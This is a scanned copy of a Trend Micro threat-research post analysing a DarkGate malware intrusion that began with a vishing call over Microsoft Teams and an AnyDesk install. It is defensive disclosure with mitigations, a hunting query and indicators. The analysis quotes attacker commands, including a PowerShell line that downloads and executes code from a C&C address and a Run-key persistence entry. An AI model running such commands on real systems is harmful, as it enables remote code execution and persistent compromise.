www.trendmicro.com
Open in
urlscan Pro
23.62.168.160
Public Scan
URL:
https://www.trendmicro.com/en_us/research/24/l/darkgate-malware.html
Submission: On December 13 via manual from US — Scanned from US
Submission: On December 13 via manual from US — Scanned from US
Form analysis 1 forms found in the DOM
<form class="main-menu-search" aria-label="Search Trend Micro">
<div class="main-menu-search__field-wrapper" id="cludo-search-form">
<table class="gsc-search-box">
<tbody>
<tr>
<td class="gsc-input">
<input type="text" class="gsc-input-field" name="search" title="search" placeholder="Search" autocomplete="off" aria-label="search">
</td>
</tr>
</tbody>
</table>
</div>
</form>Text Content
Business
search close
* Solutions
* By Challenge
* By Challenge
* By Challenge
Learn more
* Understand, Prioritize & Mitigate Risks
* Understand, Prioritize & Mitigate Risks
Improve your risk posture with attack surface management
Learn more
* Protect Cloud-Native Apps
* Protect Cloud-Native Apps
Security that enables business outcomes
Learn more
* Protect Your Hybrid World
* Protect Your Hybrid, Multi-Cloud World
Gain visibility and meet business needs with security
Learn more
* Securing Your Borderless Workforce
* Securing Your Borderless Workforce
Connect with confidence from anywhere, on any device
Learn more
* Eliminate Network Blind Spots
* Eliminate Network Blind Spots
Secure users and key operations throughout your environment
Learn more
* See More. Respond Faster.
* See More. Respond Faster.
Move faster than your adversaries with powerful purpose-built XDR,
attack surface risk management, and zero trust capabilities
Learn more
* Extend Your Team
* Extend Your Team. Respond to Threats Agilely
Maximize effectiveness with proactive risk reduction and managed
services
Learn more
* Operationalizing Zero Trust
* Operationalizing Zero Trust
Understand your attack surface, assess your risk in real time, and
adjust policies across network, workloads, and devices from a single
console
Learn more
* By Role
* By Role
* By Role
Learn more
* CISO
* CISO
Drive business value with measurable cybersecurity outcomes
Learn more
* SOC Manager
* SOC Manager
See more, act faster
Learn more
* Infrastructure Manager
* Infrastructure Manager
Evolve your security to mitigate threats quickly and effectively
Learn more
* Cloud Builder and Developer
* Cloud Builder and Developer
Ensure code runs only as intended
Learn more
* Cloud Security Ops
* Cloud Security Ops
Gain visibility and control with security designed for cloud
environments
Learn more
* By Industry
* By Industry
* By Industry
Learn more
* Healthcare
* Healthcare
Protect patient data, devices, and networks while meeting regulations
Learn more
* Manufacturing
* Manufacturing
Protecting your factory environments – from traditional devices to
state-of-the-art infrastructures
Learn more
* Oil & Gas
* Oil & Gas
ICS/OT Security for the oil and gas utility industry
Learn more
* Electric Utility
* Electric Utility
ICS/OT Security for the electric utility
Learn more
* Federal
* Federal
Learn more
* Automotive
* Automotive
Learn more
* 5G Networks
* 5G Networks
Learn more
* Small & Midsized Business Security
* Small & Midsized Business Security
Stop threats with easy-to-use solutions designed for your growing
business
Learn more
* Platform
* Vision One Platform
* Vision One Platform
* Trend Vision One
Our Unified Platform
Bridge threat protection and cyber risk management
Learn more
* AI Companion
* Trend Vision One Companion
Your generative AI cybersecurity assistant
Learn more
* Attack Surface Management
* Attack Surface Management
Stop breaches before they happen
Learn more
* XDR (Extended Detection & Response)
* XDR (Extended Detection & Response)
Stop adversaries faster with a broader perspective and better context to
hunt, detect, investigate, and respond to threats from a single platform
Learn more
* Cloud Security
* Cloud Security
* Trend Vision One™
Cloud Security Overview
The most trusted cloud security platform for developers, security
teams, and businesses
Learn more
* Attack Surface Risk Management for Cloud
* Attack Surface Risk Management for Cloud
Cloud asset discovery, vulnerability prioritization, Cloud Security
Posture Management, and Attack Surface Management all in one
Learn more
* XDR for Cloud
* XDR for Cloud
Extend visibility to the cloud and streamline SOC investigations
Learn more
* Workload Security
* Workload Security
Secure your data center, cloud, and containers without compromising
performance by leveraging a cloud security platform with CNAPP
capabilities
Learn more
* Container Security
* Container Security
Simplify security for your cloud-native applications with advanced
container image scanning, policy-based admission control, and container
runtime protection
Learn more
* File Security
* File Security
Protect application workflow and cloud storage against advanced threats
Learn more
* Endpoint Security
* Endpoint Security
* Endpoint Security Overview
Defend the endpoint through every stage of an attack
Learn more
* XDR for Endpoint
* XDR for Endpoint
Stop adversaries faster with a broader perspective and better context
to hunt, detect, investigate, and respond to threats from a single
platform
Learn more
* Workload Security
* Workload Security
Optimized prevention, detection, and response for endpoints, servers,
and cloud workloads
Learn more
* Industrial Endpoint Security
* Industrial Endpoint Security
Learn more
* Mobile Security
* Mobile Security
On-premises and cloud protection against malware, malicious
applications, and other mobile threats
Learn more
* Network Security
* Network Security
* Network Security Overview
Expand the power of XDR with network detection and response
Learn more
* XDR for Network
* XDR for Network
Stop adversaries faster with a broader perspective and better context
to hunt, detect, investigate, and respond to threats from a single
platform
Learn more
* Network Intrusion Prevention (IPS)
* Network Intrusion Prevention (IPS)
Protect against known, unknown, and undisclosed vulnerabilities in your
network
Learn more
* Breach Detection System (BDS)
* Breach Detection System (BDS)
Detect and respond to targeted attacks moving inbound, outbound, and
laterally
Learn more
* Secure Service Edge (SSE)
* Secure Service Edge (SSE)
Redefine trust and secure digital transformation with continuous risk
assessments
Learn more
* 5G Network Security
* 5G Network Security
Learn more
* Industrial Network Security
* Industrial Network Security
Learn more
* Email Security
* Email Security
* Email Security
Stop phishing, malware, ransomware, fraud, and targeted attacks from
infiltrating your enterprise
Learn more
* Email and Collaboration Security
* Trend Vision One™
Email and Collaboration Security
Stop phishing, ransomware, and targeted attacks on any email service
including Microsoft 365 and Google Workspace
Learn more
* OT Security
* OT Security
* OT Security
Learn about solutions for ICS / OT security.
Learn more
* XDR for OT
* XDR for OT
Stop adversaries faster with a broader perspective and better context
to hunt, detect, investigate, and respond to threats from a single
platform
Learn more
* Industrial Network Security
* Industrial Network Security
Industrial Network Security
* Industrial Endpoint Security
* Industrial Endpoint Security
Learn more
* Threat Insights
* Threat Insights
See threats coming from miles away
Learn more
* Identity Security
* Identity Security
End-to-end identity security from identity posture management to
detection and response
Learn more
* On-Premises Data Sovereignty
* On-Premises Data Sovereignty
Prevent, detect, respond and protect without compromising data
sovereignty
Learn more
* All Products, Services, and Trials
* All Products, Services, and Trials
Learn more
* Research
* Research
* Research
* Research
Learn more
* Research, News, and Perspectives
* Research, News, and Perspectives
Learn more
* Research and Analysis
* Research and Analysis
Learn more
* Security News
* Security News
Learn more
* Zero Day Initiatives (ZDI)
* Zero Day Initiatives (ZDI)
Learn more
* Services
* Our Services
* Our Services
* Our Services
Learn more
* Service Packages
* Service Packages
Augment security teams with 24/7/365 managed detection, response, and
support
Learn more
* Managed XDR
* Managed XDR
Augment threat detection with expertly managed detection and response
(MDR) for email, endpoints, servers, cloud workloads, and networks
Learn more
* Incident Response
* Incident Response
* Incident Response
Our trusted experts are on call whether you're experiencing a breach
or looking to proactively improve your IR plans
Learn more
* Insurance Carriers and Law Firms
* Insurance Carriers and Law Firms
Stop breaches with the best response and detection technology on the
market and reduce clients’ downtime and claim costs
Learn more
* Support Services
* Support Services
Learn more
* Partners
* Partner Program
* Partner Program
* Partner Program Overview
Grow your business and protect your customers with the best-in-class
complete, multilayered security
Learn more
* Partner Competencies
* Partner Competencies
Stand out to customers with competency endorsements that showcase your
expertise
Learn more
* Partner Successes
* Partner Successes
Learn more
* Managed Security Service Provider
* Managed Security Service Provider
Deliver modern security operations services with our industry-leading
XDR
Learn more
* Managed Service Provider
* Managed Service Provider
Partner with a leading expert in cybersecurity, leverage proven
solutions designed for MSPs
Learn more
* Alliance Partners
* Alliance Partners
* Alliance Partners
We work with the best to help you optimize performance and value
Learn more
* Technology Alliance Partners
* Technology Alliance Partners
Learn more
* Find Alliance Partners
* Find Alliance Partners
Learn more
* Partner Resources
* Partner Resources
* Partner Resources
Discover resources designed to accelerate your business’s growth and
enhance your capabilities as a Trend Micro partner
Learn more
* Partner Portal Login
* Partner Portal Login
Login
* Trend Campus
* Trend Campus
Accelerate your learning with Trend Campus, an easy-to-use education
platform that offers personalized technical guidance
Learn more
* Co-Selling
* Co-Selling
Access collaborative services designed to help you showcase the value
of Trend Vision One™ and grow your business
Learn more
* Become a Partner
* Become a Partner
Learn more
* Distributors
* Distributors
Learn more
* Find Partners
* Find Partners
Locate a partner from whom you can purchase Trend Micro solutions
Learn more
* Company
* Why Trend Micro
* Why Trend Micro
* Why Trend Micro
Learn more
* Customer Success Stories
* Customer Success Stories
Learn more
* The Human Connection
* The Human Connection
Learn more
* Industry Accolades
* Industry Accolades
Learn more
* Strategic Alliances
* Strategic Alliances
Learn more
* Compare Trend Micro
* Compare Trend Micro
* Compare Trend Micro
See how Trend outperforms the competition
Let's go
* vs. Crowdstrike
* Trend Micro vs. Crowdstrike
Crowdstrike provides effective cybersecurity through its cloud-native
platform, but its pricing may stretch budgets, especially for
organizations seeking cost-effective scalability through a true single
platform
Let's go
* vs. Microsoft
* Trend Micro vs. Microsoft
Microsoft offers a foundational layer of protection, yet it often
requires supplemental solutions to fully address customers' security
problems
Let's go
* vs. Palo Alto Networks
* Trend Micro vs. Palo Alto Networks
Palo Alto Networks delivers advanced cybersecurity solutions, but
navigating its comprehensive suite can be complex and unlocking all
capabilities requires significant investment
Let's go
* About Us
* About Us
* About Us
Learn more
* Trust Center
* Trust Center
Learn more
* History
* History
Learn more
* Diversity, Equity and Inclusion
* Diversity, Equity and Inclusion
Learn more
* Corporate Social Responsibility
* Corporate Social Responsibility
Learn more
* Leadership
* Leadership
Learn more
* Security Experts
* Security Experts
Learn more
* Internet Safety and Cybersecurity Education
* Internet Safety and Cybersecurity Education
Learn more
* Legal
* Legal
Learn more
* Investors
* Investors
Learn more
* Formula E Racing
* Formula E Racing
Learn more
* Connect With Us
* Connect With Us
* Connect With Us
Learn more
* Newsroom
* Newsroom
Learn more
* Events
* Events
Learn more
* Careers
* Careers
Learn more
* Webinars
* Webinars
Learn more
Back
Back
Back
Back
* Free Trials
* Contact Us
Looking for home solutions?
Under Attack?
2 Alerts
Back
Unread
All
* Achieve 100% detection and 100% confidence with Trend Vision One
close
See how
* Transform your security strategy and proactively reduce risk.
close
Learn how
Folio (0)
Support
* Business Support Portal
* Education and Certification
* Contact Support
* Find a Support Partner
Resources
* AI Security
* Trend Micro vs. Competition
* Cyber Risk Assessments
* What Is?
* Threat Encyclopedia
* Cyber Insurance
* Glossary of Terms
* Webinars
Log In
* Vision One
* Support
* Partner Portal
* Cloud One
* Product Activation and Management
* Referral Affiliate
Back
arrow_back
search
close
Content has been added to your Folio
Go to Folio (0) close
Cyber Threats
VISHING VIA MICROSOFT TEAMS FACILITATES DARKGATE MALWARE INTRUSION
In this blog entry, we discuss a social engineering attack that tricked the
victim into installing a remote access tool, triggering DarkGate malware
activities and an attempted C&C connection.
By: Catherine Loveria, Jovit Samaniego, Gabriel Nicoleta December 13, 2024 Read
time: 7 min (1918 words)
Save to Folio
Subscribe
--------------------------------------------------------------------------------
SUMMARY
* The Trend Micro Managed Detection and Response (MDR) team analyzed an
incident wherein an attacker used social engineering via a Microsoft Teams
call to impersonate a user’s client and gain remote access to their system.
* The attacker failed to install a Microsoft Remote Support application but
successfully instructed the victim to download AnyDesk, a tool commonly used
for remote access.
* After gaining access to the machine, the attacker dropped multiple suspicious
files. One of the suspicious files was detected as Trojan.AutoIt.DARKGATE.D.
* A series of commands executed by Autoit3.exe led to the connection to a
potential command-and-control server and the subsequent download of a
malicious payload.
* Persistent files and a registry entry were created on the victim's machine,
though the attack was ultimately thwarted before exfiltration occurred.
Using Vision One, we observed a recent security incident in which a user was
targeted by an attacker posing as an employee of a known client on a Microsoft
Teams call. This led to the user being instructed to download the remote desktop
application AnyDesk, which then facilitated the deployment of DarkGate malware.
DarkGate, distributed via an AutoIt script, enabled remote control over the
user's machine, executed malicious commands, gathered system information, and
connected to a command-and-control server. In this blog entry, we discuss how
this breach was carried out in several stages, emphasizing the need for robust
security measures and heightened awareness against social engineering attacks.
Figure 1. Timeline of the attack
download
INITIAL ACCESS
From this sample case, the attacker used social engineering to manipulate the
victim to gain access and control over a computer system. The victim reported
that she first received several thousands of emails, after which she received a
call via Microsoft Teams from a caller claiming to be an employee of an external
supplier. During the call, the victim was instructed to download Microsoft
Remote Support application, however, the installation via the Microsoft Store
failed. The attacker then instructed the victim to download AnyDesk via browser
and manipulate the user to enter her credentials to AnyDesk. Impersonating IT
support to potential victims following an email flood is a technique that has
been previously disclosed in a Microsoft blog entry.
During the call, the victim was instructed to download a Microsoft Remote
Support application; however, the installation via the Microsoft Store failed.
The attacker then instructed the victim to download AnyDesk from its official
site via browser, and manipulated the user into entering her credentials to
AnyDesk.
EXECUTION
The execution of AnyDesk.exe was observed seconds after downloading the
application. The command ran is as follows:
“C:\Users\<user>\Downloads\AnyDesk.exe" --local-service
This command runs the AnyDesk remote desktop application and starts it as a
local service on the system, allowing it to operate with elevated privileges or
in a minimized/automated fashion.
A few minutes after, cmd.exe was invoked to execute rundll32.exe to load
SafeStore.dll, which we assumed were dropped via AnyDesk.exe.
> processCmd: "C:\Windows\System32\cmd.exe"
> eventSubId: 2 - TELEMETRY_PROCESS_CREATE
> objectFilePath: c:\windows\system32\rundll32.exe
> objectCmd: rundll32.exe SafeStore.dll,epaas_request_clone
Figure 2. Vision One’s root cause analysis for the SafeStore.dll (SHA256:
1cbda9a3f202e7aacc57bcf3d43ec7b1ca42564a947d6b5a778df90cddef079a)
download
Vision One’s root cause analysis (RCA) in Figure 4 shows a DLL side-loading
technique where rundll32.exe was invoked to execute an exported function in
Safestore.dll called epaas_request_clone (Figure 3). There are multiple
functions exported by the DLL that can be used to execute the malware (Figure
4).
Figure 3. The exported function epaas_request_clone
download
Figure 4. Functions exported by the DLL
download
The execution of Safestore.dll, originally named epaas_client.dll, prompts a
login form for entering credentials (Figure 5).
Figure 5. Login form
download
While the suspicious form was executing, multiple malicious commands were
running in the background, even if the user did not enter any credentials. The
commands are as follow:
* cmd /c systeminfo – provides detailed information about the system's
configuration, including the operating system version, hardware
specifications, memory, network adapter details, and system uptime.
* cmd /c route print – provided the current network routing table, showing how
network traffic is directed to different destinations based on the system's
network configuration.
* cmd /c ipconfig /all – provided detailed information about all network
interfaces on the system, including IP addresses, subnet masks, gateways, DNS
servers, and other network configuration details.
Saving all the data gathered from the system to 123.txt may be used for system
discovery (Figure 6).
Figure 6. 123.txt
download
DARKGATE A3X SCRIPT
The executable file SystemCert.exe (SHA256:
4e291266399bd8db27da0f0913c041134657f3b1cf45f340263444c050ed3ee1), which we
believed was dropped via AnyDesk.exe, was executed and created script.a3x and
Autoit3.exe in the C:\Temp\test\ folder (Figure 7).
Figure 7. Vision One’s root cause analysis for the creation of script.a3x and
Autoit3.exe
download
After the script.a3x and AutoIt3.exe files are created, the malicious script
script.a3x is executed via the command cmd c:\temp\test\AutoIt3.exe
c:\temp\test\script.a3x.
Figure 8. Content of decompiled script.a3x (SHA256:
bb56354cdb241de0051b7bcc7e68099e19cc2f26256af66fad69e3d2bc8a8922), which was
detected as Trojan.AutoIt.DARKGATE.D
download
The encrypted AutoIt payload script.a3x decrypts itself in memory as shellcode
and injects itself into remote processes. One observed example was the
legitimate binary for MicrosoftEdgeUpdateCore.exe, located in C:\Program Files
(x86)\Microsoft\EdgeUpdate. This process is used as a proxy to load and execute
the DarkGate script into memory. The execution flow then loads other types of
malware into memory to carry out subsequent stages of the attack.
DISCOVERY
Then, the following discovery commands were executed by Autoit3.exe:
> processCmd: "c:\temp\test\Autoit3.exe" c:\temp\test\script.a3x
> objectCmd: "c:\windows\system32\cmd.exe" /c wmic ComputerSystem get domain >
> C:\ProgramData\fcdcdfc\kcbbbbc
This command retrieves information about the system's domain and saves the
output to the file kcbbbbc inside the folder C:\ProgramData\fcdcdfc.
DEFENSE EVASION
A replicated scenario of this attack shows that Autoit3.exe is looking for
multiple well-known antivirus products.
Figure 9. Replication of the attack where Autoit3.exe was looking for antivirus
products
download
It was also observed that multiple randomly named files were created on
different locations as well as copies of Autoit3.exe. This technique is being
used to evade detection.
COMMAND AND CONTROL
Autoit3.exe also executed the script.a3x to inject a process into
MicrosoftEdgeUpdateCore.exe, which was then observed connecting to external IP
179.60.149[.]194:80, a C&C server.
> processCmd: "c:\temp\test\Autoit3.exe" c:\temp\test\script.a3x
> eventSubId: 2 - TELEMETRY_PROCESS_CREATE
> objectFilePath: C:\Program Files
> (x86)\Microsoft\EdgeUpdate\1.3.195.35\MicrosoftEdgeUpdateCore.exe
Figure 10. Vision One’s root cause analysis for the outbound connection to C&C
server
download
A few minutes after the connection to IP 179.60.149[.]194, a VBScript was
executed via cscript.exe:
objectCmd:cscript spamfilter_v1.4331.vbs
Figure 11. Contents of spamfilter_v1.4331.vbs
download
Based on the contents of VBScript spamfilter_v1.4331.vbs file, it will run the
PowerShell command, then run the script.a3x via Autoit3.exe.
FINAL DARKGATE PAYLOAD
The said event was accompanied by the execution of a PowerShell command that
dropped the DarkGate payload:
objectCmd: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command
Invoke-Expression (Invoke-RestMethod -Uri hxxp://179.60.149[.]194:8080/fdgjsdmt)
The command above will attempt to download fdgjsdmt from
hxxp://179.60.149[.]194:8080 and execute it with the following content:
objectRawDataStr:ni 'C:/rbne/dxqu/' -Type Directory -Force;cd
'C:/rbne/dxqu/';Invoke-WebRequest -Uri "hxxp://179.60.149[.]194:8080/dogjaafa"
-OutFile 'file.zip';Expand-Archive -Path 'file.zip' -DestinationPath
'C:/rbne/dxqu/';
This command will create a directory at C:\rbne\dxqu\ if it doesn't already
exist. The -Force flag forces the creation even if the directory already exists
or if it has hidden or system attributes. It will then attempt to download a
file (dogjaafa) and save it as file.zip.
Expand-Archive is a PowerShell cmdlet used to extract the contents of a zip
file. This command extracts the contents of the downloaded file.zip into the
C:\rbne\dxqu\ directory. The file.zip was dropped to C:\rbne\dxqu\ and contains
a malicious AutoIt script.
Figure 12. Vision One’s root cause analysis for file.zip
download
A few minutes later, an executable file, StaticSrv.exe (SHA256:
faa54f7152775fa6ccaecc2fe4a6696e5b984dfa41db9a622e4d3e0f59c82d8b), dropped in
the C:\Users\<user>\ folder, was executed and invoked AutoIt3.exe to run
script.a3x. StaticSrv.exe and SystemCert.exe exhibit the same behavior.
Figure 13. Vision One’s root cause analysis for the execution script.a3x via
Autoit3.exe
download
POST-INSTALLATION ACTIVITIES
Multiple files and a registry entry were then created for persistence:
* C:\ProgramData\fcdcdfc\gdhfdfd\18-11-2024.log (encrypted key logs)
* C:\ProgramData\fcdcdfc\kkfafef
* C:\Temp\gggahbb
* C:\Temp\hbakdef
The following files were also created by Autoit3.exe, including a copy of
itself, possibly for backup purposes:
* C:\ProgramData\fcdcdfc\Autoit3.exe
* C:\ProgramData\fcdcdfc\bbbckdb.a3x
* C:\Temp\cdcecgg
* C:\Users\<user>\AppData\Roaming\EaDeKFb
Figure 14. Vision One’s root cause analysis for the files created by Autoit3.exe
download
The registry entry created by MicrosoftEdgeUpdateCore.exe is as follows:
> Registry root:2
> Registry key:HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
> Registry value name:ddadcae
> Registry value data: "C:\ProgramData\fcdcdfc\Autoit3.exe"
> C:\ProgramData\fcdcdfc\bbbckdb.a3x
> Registry value type:1
CONCLUSION AND SECURITY RECOMMENDATIONS
In this case we have studied, the attack was prevented before the attacker
achieved their objective. There are no activities related to exfiltration found.
DarkGate is primarily distributed through phishing emails, malvertising and SEO
poisoning. However, in this case, the attacker leveraged voice phishing
(vishing) to lure the victim. The vishing technique has also been documented by
Microsoft, in a case where the attacker utilized QuickAssist to gain access to
its target to distribute ransomware.
To protect themselves from attacks like that discussed in this blog entry,
organizations can apply the following best practices:
* Thoroughly vet third-party technical support providers. While legitimate
third-party technical support services exist, organizations should ensure
that any claims of vendor affiliation are directly verified before granting
remote access to corporate systems. Cloud vetting processes should be
established to evaluate and approve remote access tools, such as AnyDesk, by
assessing their security compliance and the reputation of their vendors.
* Whitelist approved remote access tools and block any unverified applications.
Organizations should integrate multi-factor authentication (MFA) on remote
access tools to add an additional layer of protection by requiring multiple
forms of verification before access is granted. This reduces the risk of
malicious tools being used to gain control over internal machines.
* Provide employee training to raise awareness about social engineering
tactics, phishing attempts, and the dangers of unsolicited support calls or
pop-ups. Well-informed employees are less likely to fall victim to social
engineering attacks, strengthening the organization’s overall security
posture.
To effectively combat the evolving threat landscape, organizations must
prioritize a layered security approach. Solutions like Trend Micro Apex One™
with XDR offer a complete security-as-a-service (SaaS) solution, providing full
access to the XDR capabilities in Trend Vision One™ for detecting, responding
to, and enhancing the prevention of cyberattacks. Additionally, Trend Micro™
Managed XDR, included in Trend Service One™, plays a crucial role by delivering
round-the-clock monitoring, defense, and detection to ensure continuous
protection against emerging threats.
TREND MICRO VISION ONE THREAT INTELLIGENCE
To stay ahead of evolving threats, Trend Micro customers can access a range of
Intelligence Reports and Threat Insights within Trend Micro Vision One. Threat
Insights helps customers stay ahead of cyber threats before they happen and
better prepared for emerging threats. It offers comprehensive information on
threat actors, their malicious activities, and the techniques they use. By
leveraging this intelligence, customers can take proactive steps to protect
their environments, mitigate risks, and respond effectively to threats.
Trend Micro Vision One Intelligence Reports App [IOC Sweeping]
* Vishing via Microsoft Teams Facilitates DarkGate Malware Intrusion
* Spike in DarkGate Activity - with a new version and new infrastructure
* A new DARKGATE campaign was observed
Trend Micro Vision One Threat Insights App
* Emerging Threats: Vishing via Microsoft Teams Facilitates DarkGate Malware
Intrusion
HUNTING QUERIES
Trend Micro Vision One Search App
To hunt for possible malicious activities relating to DarkGate, you may use the
query below. The threat hunting query below detects presence of Autoit3 and
script files (.a3x) which are being created and executed. Note that this can
also be triggered by normal activity.
* eventSubId: 101 - TELEMETRY_FILE_CREATE
* eventSubId: 2 - TELEMETRY_PROCESS_CREATE
eventSubId:101 andeventSubId:2 and (objectCmd:(Autoit3.exe or *.a3x) or
processCmd:(Autoit3.exe or *.a3x))
More hunting queries are available for Vision One customers with Threat Insights
Entitlement enabled.
INDICATORS OF COMPROMISE (IOCS)
SHA256 Indicator Detection
1cbda9a3f202e7aacc57bcf3d43ec7b1ca42564a947d6b5a778df90cddef079a SafeStore.dll
Trojan.Win64.DARKGATE.A
4e291266399bd8db27da0f0913c041134657f3b1cf45f340263444c050ed3ee1
SystemCert.exe Trojan.Win32.DARKGATE.E
faa54f7152775fa6ccaecc2fe4a6696e5b984dfa41db9a622e4d3e0f59c82d8b StaticSrv.exe
Trojan.Win32.DARKGATE.E
bb56354cdb241de0051b7bcc7e68099e19cc2f26256af66fad69e3d2bc8a8922 script.a3x
Trojan.AutoIt.DARKGATE.D
e4d13af4bfc3effe4f515c2530b1b182e18ad0c0a3dacac4dd80d6edcf0b007a
spamfilter_v1.4331.vbs Trojan.VBS.DARKGATE.B
URL/IP Rating Category 179.60.149.194 Dangerous C&C Server
hxxp://179[.]60[.]149[.]194:8080/fdgjsdmt Dangerous Malware Accomplice
Tags
Latest News | Cyber Threats | Research
AUTHORS
* Catherine Loveria
Incident Response Analyst
* Jovit Samaniego
Threat Analyst
* Gabriel Nicoleta
Threat Analyst
Contact Us
Subscribe
RELATED ARTICLES
* INTERPOL & Trend's Fight Against Cybercrime
* Business Email Compromise Attack Tactics
* Cyber Insurance Coverage Checklist: 5 Security Items
See all articles
Experience our unified platform for free
* Claim your 30-day trial
*
*
*
*
*
RESOURCES
* Blog
* Newsroom
* Threat Reports
* Find a Partner
*
*
SUPPORT
* Business Support Portal
* Contact Us
* Downloads
* Free Trials
*
*
ABOUT TREND
* About Us
* Careers
* Locations
* Upcoming Events
* Trust Center
*
Country Headquarters
Trend Micro - United States (US)
225 East John Carpenter Freeway
Suite 1500
Irving, Texas 75062
Phone: +1 (817) 569-8900
Select a country / region
United States expand_more
close
THE AMERICAS
* United States
* Brasil
* Canada
* México
MIDDLE EAST & AFRICA
* South Africa
* Middle East and North Africa
EUROPE
* België (Belgium)
* Česká Republika
* Danmark
* Deutschland, Österreich Schweiz
* España
* France
* Ireland
* Italia
* Nederland
* Norge (Norway)
* Polska (Poland)
* Suomi (Finland)
* Sverige (Sweden)
* Türkiye (Turkey)
* United Kingdom
ASIA & PACIFIC
* Australia
* Центральная Азия (Central Asia)
* Hong Kong (English)
* 香港 (中文) (Hong Kong)
* भारत गणराज्य (India)
* Indonesia
* 日本 (Japan)
* 대한민국 (South Korea)
* Malaysia
* Монголия (Mongolia) and рузия (Georgia)
* New Zealand
* Philippines
* Singapore
* 台灣 (Taiwan)
* ประเทศไทย (Thailand)
* Việt Nam
Privacy | Legal | Accessibility | Terms of Use | Site map
Copyright ©2024 Trend Micro Incorporated. All rights reserved
Copyright ©2024 Trend Micro Incorporated. All rights reserved
sXpIBdPeKzI9PC2p0SWMpUSM2NSxWzPyXTMLlbXmYa0R20xk
This website uses cookies for website functionality, traffic analytics,
personalization, social media functionality and advertising. Our Cookie Notice
provides more information and explains how to amend your cookie settings.Learn
more
Cookies Settings Accept
✓
Thanks for sharing!
AddToAny
More…
BDOW!
word word word word word word word word word word word word word word word word
word word word word word word word word word word word word word word word word
word word word word word word word word word word word word word word word word
word word word word word word word word word word word word word word word word
word word word word word word word word word word word word word word word word
word word word word word word word word word word word word word word word word
word word word word word word word word word word word word word word word word
word word word word word word word word word word word word word word word word
word word word word word word word word word word word word word word word word
word word word word word word word word word word word word word word word word
word word word word word word word word word word word word word word word word
word word word word word word word word word word word word word word word word
word word word word word word word word
mmMwWLliI0fiflO&1
mmMwWLliI0fiflO&1
mmMwWLliI0fiflO&1
mmMwWLliI0fiflO&1
mmMwWLliI0fiflO&1
mmMwWLliI0fiflO&1
mmMwWLliI0fiflO&1